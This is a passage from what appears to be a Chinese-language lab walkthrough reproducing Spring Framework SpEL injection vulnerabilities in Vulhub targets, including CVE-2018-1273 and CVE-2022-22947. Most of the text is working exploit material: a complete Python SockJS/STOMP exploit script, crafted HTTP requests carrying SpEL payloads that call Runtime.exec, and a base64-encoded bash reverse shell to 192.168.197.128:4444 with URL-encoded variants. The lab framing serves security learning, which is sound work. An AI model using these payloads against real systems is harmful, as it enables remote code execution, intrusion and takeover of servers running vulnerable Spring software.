</span></span><span>stream</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>30</div></div><div><span>        </span><span>for</span><span> line </span><span>in</span><span><span> response.</span><span>iter_lines</span><span>():</span></span></div></div><div><div><div>31</div></div><div><span><span>            </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.5</span><span>)</span></div></div><div><div><div>32</div></div><div><span>    </span><span>def</span><span> </span><span>send</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>command</span></span><span>,</span><span><span> </span><span>headers</span></span><span>,</span><span><span> </span><span>body</span></span><span>=</span><span>''</span><span>):</span></div></div><div><div><div>33</div></div><div><span><span>        </span></span><span>data </span><span>=</span><span> [command.</span><span>upper</span><span>(), </span><span>'</span><span>\n</span><span>'</span><span>]</span></div></div><div><div><div>34</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\n</span><span>'</span><span><span>.</span><span>join</span><span>([</span></span><span>f</span><span>'</span><span>{</span><span>k</span><span>}</span><span>:</span><span>{</span><span>v</span><span>}</span><span>'</span><span> </span><span>for</span><span> k, v </span><span>in</span><span><span> headers.</span><span>items</span><span>()]))</span></span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\n\n</span><span>'</span><span>)</span></div></div><div><div><div>36</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(body)</span></div></div><div><div><div>37</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\x00</span><span>'</span><span>)</span></div></div><div><div><div>38</div></div><div><span><span>        </span></span><span>data </span><span>=</span><span> json.</span><span>dumps</span><span>([</span><span>''</span><span><span>.</span><span>join</span><span>(data)])</span></span></div></div><div><div><div>39</div></div><div><span><span>        </span></span><span>response </span><span>=</span><span> </span><span>self</span><span><span>.session.</span><span>post</span><span>(</span></span><span>f</span><span>'</span><span>{</span><span>self</span><span>.base</span><span>}</span><span>/xhr_send?t=</span><span>{</span><span>self</span><span>.t</span><span>}</span><span>'</span><span>, </span><span>data</span><span><span>=</span><span>data)</span></span></div></div><div><div><div>40</div></div><div><span>        </span><span>if</span><span><span> response.status_code </span><span>!=</span><span> </span></span><span>204</span><span>:</span></div></div><div><div><div>41</div></div><div><span><span>            </span></span><span>logging.</span><span>info</span><span>(</span><span>f</span><span>"send '</span><span>{</span><span>command</span><span>}</span><span>' data error."</span><span>)</span></div></div><div><div><div>42</div></div><div><span>        </span><span>else</span><span>:</span></div></div><div><div><div>43</div></div><div><span><span>            </span></span><span>logging.</span><span>info</span><span>(</span><span>f</span><span>"send '</span><span>{</span><span>command</span><span>}</span><span>' data success."</span><span>)</span></div></div><div><div><div>44</div></div><div><span>    </span><span>def</span><span> </span><span>__del__</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>45</div></div><div><span>        </span><span>self</span><span><span>.session.</span><span>close</span><span>()</span></span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span><span>sockjs </span><span>=</span><span> </span><span>SockJS</span><span>(</span></span><span>'http://192.168.197.88:8080/gs-guide-websocket'</span><span>)</span></div></div><div><div><div>48</div></div><div><span><span>sockjs.</span><span>start</span><span>()</span></span></div></div><div><div><div>49</div></div><div><span><span>time.</span><span>sleep</span><span>(</span></span><span>1</span><span>)</span></div></div><div><div><div>50</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'connect'</span><span>, {</span></div></div><div><div><div>51</div></div><div><span>    </span><span>'accept-version'</span><span>: </span><span>'1.1,1.0'</span><span>,</span></div></div><div><div><div>52</div></div><div><span>    </span><span>'heart-beat'</span><span>: </span><span>'10000,10000'</span></div></div><div><div><div>53</div></div><div><span>})</span></div></div><div><div><div>54</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'subscribe'</span><span>, {</span></div></div><div><div><div>55</div></div><div><span>    </span><span>'selector'</span><span>: </span><span>"T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')"</span><span>,</span></div></div><div><div><div>56</div></div><div><span>    </span><span>'id'</span><span>: </span><span>'sub-0'</span><span>,</span></div></div><div><div><div>57</div></div><div><span>    </span><span>'destination'</span><span>: </span><span>'/topic/greetings'</span></div></div><div><div><div>58</div></div><div><span>})</span></div></div><div><div><div>59</div></div><div><span><span>data </span><span>=</span><span> json.</span><span>dumps</span><span>({</span></span><span>'name'</span><span>: </span><span>'vulhub'</span><span>})</span></div></div><div><div><div>60</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'send'</span><span>, {</span></div></div><div><div><div>61</div></div><div><span>    </span><span>'content-length'</span><span>: </span><span>len</span><span>(data),</span></div></div><div><div><div>62</div></div><div><span>    </span><span>'destination'</span><span>: </span><span>'/app/hello'</span></div></div><div><div><div>63</div></div><div><span>}, data)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>把上面的脚本保存到kali桌面。</p><p>由于最新版kali默认的python版本为3.13.12，同时apt不能安装python 3.6，因此使用docker来解决python环境问题。</p><p>首先使用下面的命令拉取python 3.6的镜像：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker pull python:3.6</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后使用下面的命令将桌面挂载到容器中，同时进入容器的shell，以便使用容器内的环境：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker run --rm -it \</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>--network host \</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>-v /root/桌面:/workspace \</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>-w /workspace \</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>python:3.6 bash</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>#参数说明：</span></div></div><div><div><div>8</div></div><div><span>--rm：容器退出后自动删除</span></div></div><div><div><div>9</div></div><div><span>-it：交互式终端</span></div></div><div><div><div>10</div></div><div><span>--network host：容器直接使用 Kali 的网络栈（关键！否则靶机无法回连）</span></div></div><div><div><div>11</div></div><div><span>-v /root/桌面:/workspace：把宿主机目录挂载进容器</span></div></div><div><div><div>12</div></div><div><span>-w /workspace：设置工作目录</span></div></div><div><div><div>13</div></div><div><span>python:3.6：使用的镜像</span></div></div><div><div><div>14</div></div><div><span>bash：进入容器的 shell</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>进入容器后，会看到提示符变成类似 root@kali:/workspace#，表示进入了容器内部，依次执行：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>pip install requests</span></div></div><div><div><div>2</div></div><div><span>python exploit.py</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1564" height="915" src="/_astro/Pasted%20image%2020261007150624.kG7V4IT2_1b1iHt.webp" />
脚本会自动订阅消息并发送触发请求，使后端执行 SpEL 表达式。
<img alt="" loading="lazy" width="1564" height="913" src="/_astro/Pasted%20image%2020261007150304.i2Ou7myf_Z1Qy7Ms.webp" />
此时如果进入靶机的docker容器中查看，发现在tmp目录下多了success文件，说明POC脚本成功执行，漏洞可以利用。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker compose exec spring bash</span></div></div><div><div><div>2</div></div><div><span>ls -la /tmp/success</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1561" height="913" src="/_astro/Pasted%20image%2020261007150339.CdnStjr5_2nesdz.webp" /></p><p><strong>② 反弹 Shell</strong></p><p>先在 Kali 上生成 Base64：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo -n 'bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1' | base64</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后修改 selector：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')",</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>完整的payload如下：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>3</div></div><div><span>import</span><span> random</span></div></div><div><div><div>4</div></div><div><span>import</span><span> string</span></div></div><div><div><div>5</div></div><div><span>import</span><span> time</span></div></div><div><div><div>6</div></div><div><span>import</span><span> threading</span></div></div><div><div><div>7</div></div><div><span>import</span><span> logging</span></div></div><div><div><div>8</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>9</div></div><div><span>import</span><span> json</span></div></div><div><div><div>10</div></div><div><span><span>logging.</span><span>basicConfig</span><span>(</span></span><span>stream</span><span><span>=</span><span>sys.stdout, </span></span><span>level</span><span><span>=</span><span>logging.</span><span>INFO</span><span>)</span></span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>def</span><span> </span><span>random_str</span><span>(</span><span>length</span><span>):</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>letters </span><span>=</span><span> string.ascii_lowercase </span><span>+</span><span> string.digits</span></div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span> </span><span>''</span><span><span>.</span><span>join</span><span>(random.</span><span>choice</span><span>(letters) </span></span><span>for</span><span> c </span><span>in</span><span> </span><span>range</span><span>(length))</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>class</span><span><span> </span><span>SockJS</span><span>(</span><span>threading</span><span>.</span><span>Thread</span><span>)</span></span><span>:</span></div></div><div><div><div>17</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>url</span></span><span>,</span><span> </span><span>*</span><span>args</span><span>,</span><span> </span><span>**</span><span>kwargs</span><span>):</span></div></div><div><div><div>18</div></div><div><span>        </span><span>super</span><span>().</span><span>__init__</span><span>(*args, **kwargs)</span></div></div><div><div><div>19</div></div><div><span>        </span><span>self</span><span><span>.base </span><span>=</span><span> </span></span><span>f</span><span>'</span><span>{</span><span>url</span><span>}</span><span>/</span><span>{</span><span><span>random.</span><span>randint</span><span>(</span></span><span>0</span><span>, </span><span>1000</span><span>)</span><span>}</span><span>/</span><span>{</span><span><span>random_str</span><span>(</span></span><span>8</span><span>)</span><span>}</span><span>'</span></div></div><div><div><div>20</div></div><div><span>        </span><span>self</span><span><span>.daemon </span><span>=</span><span> </span></span><span>True</span></div></div><div><div><div>21</div></div><div><span>        </span><span>self</span><span><span>.session </span><span>=</span><span> requests.</span><span>session</span><span>()</span></span></div></div><div><div><div>22</div></div><div><span>        </span><span>self</span><span><span>.session.headers </span><span>=</span><span> {</span></span></div></div><div><div><div>23</div></div><div><span>            </span><span>'Referer'</span><span>: url,</span></div></div><div><div><div>24</div></div><div><span>            </span><span>'User-Agent'</span><span>: </span><span>'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>26</div></div><div><span>        </span><span>self</span><span><span>.t </span><span>=</span><span> </span></span><span>int</span><span><span>(time.</span><span>time</span><span>()</span><span>*</span></span><span>1000</span><span>)</span></div></div><div><div><div>27</div></div><div><span>    </span><span>def</span><span> </span><span>run</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>28</div></div><div><span><span>        </span></span><span>url </span><span>=</span><span> </span><span>f</span><span>'</span><span>{</span><span>self</span><span>.base</span><span>}</span><span>/htmlfile?c=_jp.vulhub'</span></div></div><div><div><div>29</div></div><div><span><span>        </span></span><span>response </span><span>=</span><span> </span><span>self</span><span><span>.session.</span><span>get</span><span>(url, </span></span><span>stream</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>30</div></div><div><span>        </span><span>for</span><span> line </span><span>in</span><span><span> response.</span><span>iter_lines</span><span>():</span></span></div></div><div><div><div>31</div></div><div><span><span>            </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.5</span><span>)</span></div></div><div><div><div>32</div></div><div><span>    </span><span>def</span><span> </span><span>send</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>command</span></span><span>,</span><span><span> </span><span>headers</span></span><span>,</span><span><span> </span><span>body</span></span><span>=</span><span>''</span><span>):</span></div></div><div><div><div>33</div></div><div><span><span>        </span></span><span>data </span><span>=</span><span> [command.</span><span>upper</span><span>(), </span><span>'</span><span>\n</span><span>'</span><span>]</span></div></div><div><div><div>34</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\n</span><span>'</span><span><span>.</span><span>join</span><span>([</span></span><span>f</span><span>'</span><span>{</span><span>k</span><span>}</span><span>:</span><span>{</span><span>v</span><span>}</span><span>'</span><span> </span><span>for</span><span> k, v </span><span>in</span><span><span> headers.</span><span>items</span><span>()]))</span></span></div></div><div><div><div>35</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\n\n</span><span>'</span><span>)</span></div></div><div><div><div>36</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(body)</span></div></div><div><div><div>37</div></div><div><span><span>        </span></span><span>data.</span><span>append</span><span>(</span><span>'</span><span>\x00</span><span>'</span><span>)</span></div></div><div><div><div>38</div></div><div><span><span>        </span></span><span>data </span><span>=</span><span> json.</span><span>dumps</span><span>([</span><span>''</span><span><span>.</span><span>join</span><span>(data)])</span></span></div></div><div><div><div>39</div></div><div><span><span>        </span></span><span>response </span><span>=</span><span> </span><span>self</span><span><span>.session.</span><span>post</span><span>(</span></span><span>f</span><span>'</span><span>{</span><span>self</span><span>.base</span><span>}</span><span>/xhr_send?t=</span><span>{</span><span>self</span><span>.t</span><span>}</span><span>'</span><span>, </span><span>data</span><span><span>=</span><span>data)</span></span></div></div><div><div><div>40</div></div><div><span>        </span><span>if</span><span><span> response.status_code </span><span>!=</span><span> </span></span><span>204</span><span>:</span></div></div><div><div><div>41</div></div><div><span><span>            </span></span><span>logging.</span><span>info</span><span>(</span><span>f</span><span>"send '</span><span>{</span><span>command</span><span>}</span><span>' data error."</span><span>)</span></div></div><div><div><div>42</div></div><div><span>        </span><span>else</span><span>:</span></div></div><div><div><div>43</div></div><div><span><span>            </span></span><span>logging.</span><span>info</span><span>(</span><span>f</span><span>"send '</span><span>{</span><span>command</span><span>}</span><span>' data success."</span><span>)</span></div></div><div><div><div>44</div></div><div><span>    </span><span>def</span><span> </span><span>__del__</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>45</div></div><div><span>        </span><span>self</span><span><span>.session.</span><span>close</span><span>()</span></span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span><span>sockjs </span><span>=</span><span> </span><span>SockJS</span><span>(</span></span><span>'http://192.168.197.88:8080/gs-guide-websocket'</span><span>)</span></div></div><div><div><div>48</div></div><div><span><span>sockjs.</span><span>start</span><span>()</span></span></div></div><div><div><div>49</div></div><div><span><span>time.</span><span>sleep</span><span>(</span></span><span>1</span><span>)</span></div></div><div><div><div>50</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'connect'</span><span>, {</span></div></div><div><div><div>51</div></div><div><span>    </span><span>'accept-version'</span><span>: </span><span>'1.1,1.0'</span><span>,</span></div></div><div><div><div>52</div></div><div><span>    </span><span>'heart-beat'</span><span>: </span><span>'10000,10000'</span></div></div><div><div><div>53</div></div><div><span>})</span></div></div><div><div><div>54</div></div><div>
</div></div><div><div><div>55</div></div><div><span># ============ 修改点：改成反弹 Shell 的 SpEL ============</span></div></div><div><div><div>56</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'subscribe'</span><span>, {</span></div></div><div><div><div>57</div></div><div><span>    </span><span>'selector'</span><span>: </span><span>"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')"</span><span>,</span></div></div><div><div><div>58</div></div><div><span>    </span><span>'id'</span><span>: </span><span>'sub-0'</span><span>,</span></div></div><div><div><div>59</div></div><div><span>    </span><span>'destination'</span><span>: </span><span>'/topic/greetings'</span></div></div><div><div><div>60</div></div><div><span>})</span></div></div><div><div><div>61</div></div><div><span><span>data </span><span>=</span><span> json.</span><span>dumps</span><span>({</span></span><span>'name'</span><span>: </span><span>'vulhub'</span><span>})</span></div></div><div><div><div>62</div></div><div><span><span>sockjs.</span><span>send</span><span>(</span></span><span>'send'</span><span>, {</span></div></div><div><div><div>63</div></div><div><span>    </span><span>'content-length'</span><span>: </span><span>len</span><span>(data),</span></div></div><div><div><div>64</div></div><div><span>    </span><span>'destination'</span><span>: </span><span>'/app/hello'</span></div></div><div><div><div>65</div></div><div><span>}, data)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>同样需要在kali上面开启端口监听，然后在docker容器中执行该脚本后，可以发现反弹shell成功：
<img alt="" loading="lazy" width="1564" height="914" src="/_astro/Pasted%20image%2020261007153528.Dxx3LCHM_Z1dM43r.webp" /></p></section><section><h3>5. CVE-2018-1273（Spring Data Commons SpEL 注入）<a href="#5-cve-2018-1273spring-data-commons-spel-注入"><span>#</span></a></h3><p>Spring Data 是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中，存在一处 SpEL 表达式注入漏洞，攻击者可以注入恶意 SpEL 表达式以执行任意命令。</p><p><strong>① 抓取注册请求</strong></p><p>访问 <code>http://192.168.197.88:8080/users</code>，在用户注册页面抓取 POST 请求。</p><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261008201350.DML67k4h_Z2y4YS.webp" /></p><p><strong>② 注入 Payload</strong></p><p>将请求体修改为：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /users?page=&amp;size=5 </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>46</span></div></div><div><div><div>4</div></div><div><span>Cache-Control</span><span>:</span><span> </span><span>max-age=0</span></div></div><div><div><div>5</div></div><div><span>Upgrade-Insecure-Requests</span><span>:</span><span> </span><span>1</span></div></div><div><div><div>6</div></div><div><span>Origin</span><span>:</span><span> </span><span>http://192.168.197.88:8080</span></div></div><div><div><div>7</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/x-www-form-urlencoded</span></div></div><div><div><div>8</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36</span></div></div><div><div><div>9</div></div><div><span>Accept</span><span>:</span><span> </span><span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></div></div><div><div><div>10</div></div><div><span>Referer</span><span>:</span><span> </span><span>http://192.168.197.88:8080/users</span></div></div><div><div><div>11</div></div><div><span>Accept-Encoding</span><span>:</span><span> </span><span>gzip, deflate</span></div></div><div><div><div>12</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>zh-CN,zh;q=0.9</span></div></div><div><div><div>13</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>username[</span><span>#this.getClass().forName(</span><span>"java.lang.Runtime"</span><span>).getRuntime().exec(</span><span>"touch /tmp/success"</span><span>)</span><span>]=&amp;password=&amp;repeatedPassword=</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>这里可以发现POC其实就是把：</p><ul>
<li><strong>原来的普通参数名</strong> <code>username</code> 替换成了 <strong><code>username[恶意 SpEL 表达式]</code></strong></li>
<li><strong>原来的参数值</strong> <code>111</code> 删掉或留空（这里直接写 <code>=</code> 后面无值）</li>
<li>后面的 <code>password</code> 和 <code>repeatedPassword</code> 保持原样（留空也可以）</li>
</ul><p>为什么这样能触发漏洞？</p><p>Spring Data Commons在把请求参数绑定到实体对象时，会解析参数名中的属性路径。当参数名写成username[…]这种形式时，方括号内的内容会被当作SpEL表达式来求值。</p><p>所以攻击者只要在方括号里塞入恶意SpEL表达式，Spring Data在绑定过程中就会执行这段代码，从而实现任意命令执行。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261008200444.BZTcx9PM_uYpFr.webp" />
发送请求后进入容器验证：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker compose exec spring bash</span></div></div><div><div><div>2</div></div><div><span>ls -l /tmp/success</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1563" height="914" src="/_astro/Pasted%20image%2020261008200544.6o0nWvsq_1psXWo.webp" />
将上面的touch /tmp/success替换为反弹Shell命令即可获取 Shell。</p><p>首先在Kali上生成反弹shell的Base64的编码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo -n 'bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1' | base64</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>则原始Payload为（将上面exec函数括号里面的touch /tmp/success内容替换为下面的内容）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')]=&amp;password=&amp;repeatedPassword=</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对原始Payload进行URL编码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%5D=&amp;password=&amp;repeatedPassword=</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>说明：为什么这里需要对payload进行url编码，而上面的POC却不需要？</strong></p><p>关键区别在于：<strong>第二个 Payload 里包含了 <code>+</code> 号，而 <code>+</code> 在 <code>application/x-www-form-urlencoded</code> 中会被服务器自动解码成空格</strong>，导致 Base64 字符串被破坏，反弹 Shell 命令失效。第一个 Payload（<code>touch /tmp/success</code>）里没有 <code>+</code>、<code>&amp;</code>、<code>%</code> 这些会干扰表单解析的字符，所以即使不编码，服务器也能“容忍”并正确解析。</p><p><strong>✅ 最佳实践：无论 Payload 看起来多简单，都建议对参数名和参数值进行完整的 URL 编码</strong>，这样可以避免因特殊字符导致的解析错误。</p><p>得到最终 POST 请求体：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /users?page=&amp;size=5 </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>265</span></div></div><div><div><div>4</div></div><div><span>Cache-Control</span><span>:</span><span> </span><span>max-age=0</span></div></div><div><div><div>5</div></div><div><span>Upgrade-Insecure-Requests</span><span>:</span><span> </span><span>1</span></div></div><div><div><div>6</div></div><div><span>Origin</span><span>:</span><span> </span><span>http://192.168.197.88:8080</span></div></div><div><div><div>7</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/x-www-form-urlencoded</span></div></div><div><div><div>8</div></div><div><span>User-Agent</span><span>:</span><span> </span><span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36</span></div></div><div><div><div>9</div></div><div><span>Accept</span><span>:</span><span> </span><span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></div></div><div><div><div>10</div></div><div><span>Referer</span><span>:</span><span> </span><span>http://192.168.197.88:8080/users</span></div></div><div><div><div>11</div></div><div><span>Accept-Encoding</span><span>:</span><span> </span><span>gzip, deflate</span></div></div><div><div><div>12</div></div><div><span>Accept-Language</span><span>:</span><span> </span><span>zh-CN,zh;q=0.9</span></div></div><div><div><div>13</div></div><div><span>Connection</span><span>:</span><span> </span><span>close</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%5D=&amp;password=&amp;repeatedPassword=</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261008202311.SDyBojlN_1aHqQW.webp" /></p><p><img alt="" loading="lazy" width="1564" height="911" src="/_astro/Pasted%20image%2020261008202228.BjUI1lM9_RvrOq.webp" /></p></section><section><h3>6. CVE-2022-22947（Spring Cloud Gateway SpEL 注入）<a href="#6-cve-2022-22947spring-cloud-gateway-spel-注入"><span>#</span></a></h3><p>Spring Cloud Gateway 是 Spring 中的一个 API 网关。其 3.1.0 及 3.0.6 版本（包含）以前存在一处 SpEL 表达式注入漏洞，当攻击者可以访问 Actuator API 的情况下，将可以利用该漏洞执行任意命令。</p><p><strong>① 添加恶意路由</strong></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /actuator/gateway/routes/hacktest </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/json</span></div></div><div><div><div>4</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>329</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>{</span></div></div><div><div><div>7</div></div><div><span>  </span><span>"id"</span><span>: </span><span>"hacktest"</span><span>,</span></div></div><div><div><div>8</div></div><div><span>  </span><span>"filters"</span><span>: [{</span></div></div><div><div><div>9</div></div><div><span>    </span><span>"name"</span><span>: </span><span>"AddResponseHeader"</span><span>,</span></div></div><div><div><div>10</div></div><div><span>    </span><span>"args"</span><span>: {</span></div></div><div><div><div>11</div></div><div><span>      </span><span>"name"</span><span>: </span><span>"Result"</span><span>,</span></div></div><div><div><div>12</div></div><div><span>      </span><span>"value"</span><span>: </span><span>"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{</span><span>\"</span><span>id</span><span>\"</span><span>}).getInputStream()))}"</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>}],</span></div></div><div><div><div>15</div></div><div><span>  </span><span>"uri"</span><span>: </span><span>"http://example.com"</span></div></div><div><div><div>16</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010162854.CCUTQPs0_Z1CPEPb.webp" />
<strong>② 触发表达式执行</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>POST</span><span> /actuator/gateway/refresh </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/x-www-form-urlencoded</span></div></div><div><div><div>4</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>0</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261010163229.BRK8T9ws_Ztz2tn.webp" />
